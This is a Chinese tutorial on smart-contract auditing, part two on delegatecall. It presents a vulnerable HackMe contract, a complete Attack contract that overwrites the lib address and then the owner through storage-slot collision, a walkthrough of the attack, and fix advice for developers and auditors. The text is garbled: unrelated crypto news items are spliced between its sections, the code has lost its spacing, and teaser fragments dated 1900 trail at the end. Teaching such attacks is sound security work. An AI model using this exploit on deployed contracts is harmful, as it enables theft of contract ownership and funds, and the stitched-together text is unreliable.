上篇文章中我們了解了什么是delegatecall函數以及一個基礎的漏洞,這篇文章的目的是加深一下大家對delegatecall的印象并帶大家一起去玩點刺激的,拿下一個進階版的漏洞合約。
這里就不再重復之前的基礎知識了,不了解或者遺忘的可以再看看上一篇文章:《智能合約安全審計入門篇——delegatecall(1)》。
漏洞示例
contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}
韓國法官將涉嫌挪用公款等的Coinone前董事全某的首次開庭日期定在5月4日:4月24日消息,韓國首爾南區法院第7刑事庭的法官金正基將被指控挪用公款和其他罪名的Coinone前董事全某的首次開庭日期定在5月4日,涉嫌向全某提供金錢以換取上市請求的上幣經紀人高某也將在同一天受審。全某在2020年起擔任加密貨幣交易所Coinone的上市主管期間,涉嫌因要求上市加密貨幣而從包括高某在內的兩名經紀人處收取20億韓元的上市費用。他還涉嫌在明知某些幣種具有市場操縱(商業干擾)目的的情況下將其上市。高某面臨挪用公款的指控,他參與了超過29種加密貨幣的上市工作。(News1)
此前報道,4月8日,據韓國媒體MoneyToday報道,韓國首爾南地檢察廳第一金融調查部以涉嫌貪污罪起訴加密交易所前Coinone高管全某,10日上午將對嫌疑人進行拘捕前訊問。
Foresight News 此前報道,4 月 8 日,據韓國媒體 Money Today 報道,韓國首爾南地檢察廳第一金融調查部以涉嫌貪污罪起訴加密交易所前 Coinone 高管全某,10 日上午將對嫌疑人進行拘捕前訊問。[2023/4/24 14:22:47]
漏洞分析
深圳發改委:登記機構應當運用區塊鏈等相關技術,對數據產權登記信息進行上鏈保存:金色財經報道,2月20日,深圳市發展和改革委員會就《深圳市數據產權登記管理暫行辦法》(征求意見稿)公開征求意見。意見稿明確,登記機構應當運用區塊鏈等相關技術,對登記信息進行上鏈保存,并妥善保存登記的原始憑證及有關文件和資料。其保存期限不得少于三十年。登記機構及其工作人員依法對與數據產權登記業務有關的數據、文件和資料負有保密義務。[2023/2/20 12:17:49]
這次的攻擊目標依然是獲得HackMe合約中的?owner?權限,我們可以看到兩個合約中除了HackMe合約中的構造函數可以修改合約的?owner?其他地方并沒有修改?owner?的函數。我們要如何完成攻擊呢?這里需要一點小技巧,大家可以思考一下,剛好也可以驗證一下自己對于之前知識的掌握程度以及自己的思維是否活躍。
Mysten Labs聯創:Web3不僅僅關乎金錢,還關乎平等和透明:金色財經報道,Mysten Labs聯合創始人Evan Cheng表示,投資者可能會從財務機會和收入的角度來看待Web3,但這忽略了一個重點,即試圖建立一個更公平、更透明的基礎設施,讓內容創造者站在最前沿。在Web2.0中,內容創建者將他們的作品上傳到中央服務器,而Web3則不同,它允許用戶點對點交互,并為互聯網上的活動增加了一個新的所有權層。
如今的互聯網是建立在用戶的工作之上的,Instagram、Facebook、Twitter這些大公司控制著傳播,并從中獲利。他們從中榨取了很多利潤。更重要的是,它涉及透明度和缺乏公平,這就是我們需要回到的地方。[2023/2/16 12:10:53]
是否有想法呢?沒有想法也沒關系,我們一起來看攻擊是如何完成的:
公鏈Canto TVL升至1.72億美元,創歷史新高:2月3日消息,據DefiLlama數據顯示,Cosmos生態兼容EVM的Layer1公鏈Canto TVL增長至1.72億美元,創歷史新高。
據CoinGecko數據顯示,CANTO Token24小時跌幅7%,現報0.518美元。[2023/2/3 11:45:17]
攻擊合約
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}
破產資產交易平臺:FTX清算人找到的50億美元資產對索賠額影響很小:1月14日消息,一名破產律師在周三的聽證會上表示,加密貨幣交易所FTX已經收回了超過50億美元的不同資產,但據破產資產交易平臺Xclaim的創始人兼首席執行官Matt Sedigh的說法,這些資產對于索賠的影響非常小,可能會使得索賠額上漲1美分。
目前FTX在X claim索賠平臺上的價格大概是15.5美分,上周的價格是13.5美分。Sedigh還表示,FTX用戶不可能在2年內獲得FTX賠償的現金。[2023/1/14 11:12:04]
我們先看攻擊流程:
1.Alice部署Lib合約;
2.Alice部署HackMe合約并在構造函數中傳入Lib合約的地址;
3.攻擊者Eve部署Attack合約并在構造函數中傳入HackMe合約的地址;
4.攻擊者調用Attack.attack()函數將HackMe合約中的owner變為自己。
咋回事兒呢?其實這個攻擊方式就是很巧妙的運用了delegatecall這個函數修改storage類型變量時的特征:delegatecall函數的執行環境是調用者的環境并且對于storage類型變量的修改是根據被調用合約變量存儲的插槽位置來修改的。
1.Attack.attack()函數先將自己的地址轉換為uint256類型第一次調用HackMe.doSomething()函數;
2.HackMe.doSomething()函數使用delegatecall函數帶著傳入的Attack合約的地址調用了Lib.doSomething()函數;
3.可以看到Lib.doSomething()函數將合約中存儲位置為slot0的參數改為傳入的值,這樣當HackMe合約使用delegatecall調用Lib.doSomething()函數時也將改變自己在slot0位置存儲的變量的值,也就是將lib參數改為我們傳入的Attack合約的地址。此時之前在HackMe.lib參數中存儲的Lib合約的地址就被修改成我們傳入的Attack合約的地址了;
4.Attack.attack()函數再次調用HackMe.doSomething()函數,由于在上一步我們已經將HackMe.lib變量修改為Attack合約的地址了,這時HackMe.doSomething()函數將不再調用之前的Lib合約而是用delegatecall去調用Attack.doSomething()函數。此時我們再來觀察Attack合約的寫法,發現其變量的存儲位置故意和HackMe合約保持一致,并且不難發現Attack.doSomething()函數的內容也被攻擊者寫為owner=msg.sender,這個操作修改了合約中存儲位置為slot1的變量。所以HackMe合約使用delegatecall調用Attack.doSomething()函數就會將合約中存儲位置為slot1的變量owner修改為msg.sender也就是Eve的地址,至此攻擊者完成了他的攻擊。
修復建議
作為開發者
1.?在使用delegatecall時應注意被調用合約的地址不能是可控的;
2.?在較為復雜的合約環境下需要注意變量的聲明順序以及存儲位置。因為使用delegatecall進行外部調用時會根據被調用合約的數據結構來修改本合約相應slot中存儲的數據,當數據結構發生變化時這可能會造成非預期的變量覆蓋。
作為審計者
1.在審計過程中遇到合約中有使用delegatecall時需要注意被調用的合約地址是否可控;
2.當被調用合約中的函數存在修改storage變量的情況時需要注意變量存儲插槽的位置,避免由于數據結構不一致而導致本合約中存儲的storage變量被錯誤的覆蓋。
來源:金色財經
最近一個月二級跌跌不休,但從長線來看,希望大家不要忘記Web3正處于建設階段。按照Bankless的說法:熊市使CEO能夠從基本原則角度進行思考,花更多的時間來打造有意義的技術.
1900/1/1 0:00:00本輪強烈熊市的開啟,可以說是LUNA的黑天鵝事件,導致市場上幣種暴跌,機構暴雷,一系列的反應。作為吃到美元“放水”紅利的加密市場就沒消停過:先是Luna的400億美元金融帝國崩塌;然后ETH2.
1900/1/1 0:00:00看到這個標題,很多人會說我是標題黨。先別急著杠我,我們來看個真實案例。為了保護當事人信息,同時避免蹭張三和李四的熱度,王律師的故事主人公就統一叫王五吧.
1900/1/1 0:00:0016個熱門賽道潛力項目信息匯總。撰文:追風LabSBT:全稱是「SoulBoundToken」,直接翻譯就是「靈魂綁定通證」.
1900/1/1 0:00:00去年,鏈游平臺GalaGames迎來了快速增長,平臺每月活躍用戶達到數百萬人。同時在借助元宇宙、GameFi的熱潮下,其代幣GALA在相繼登陸幣安、Coinbase.
1900/1/1 0:00:002022年6月23日20:00,EOS網絡基金會最新一期非正式柚談欄目開播,本期活動圍繞備受生態關注的Yield+藍皮書及其EOS流動性激勵計劃展開.
1900/1/1 0:00:00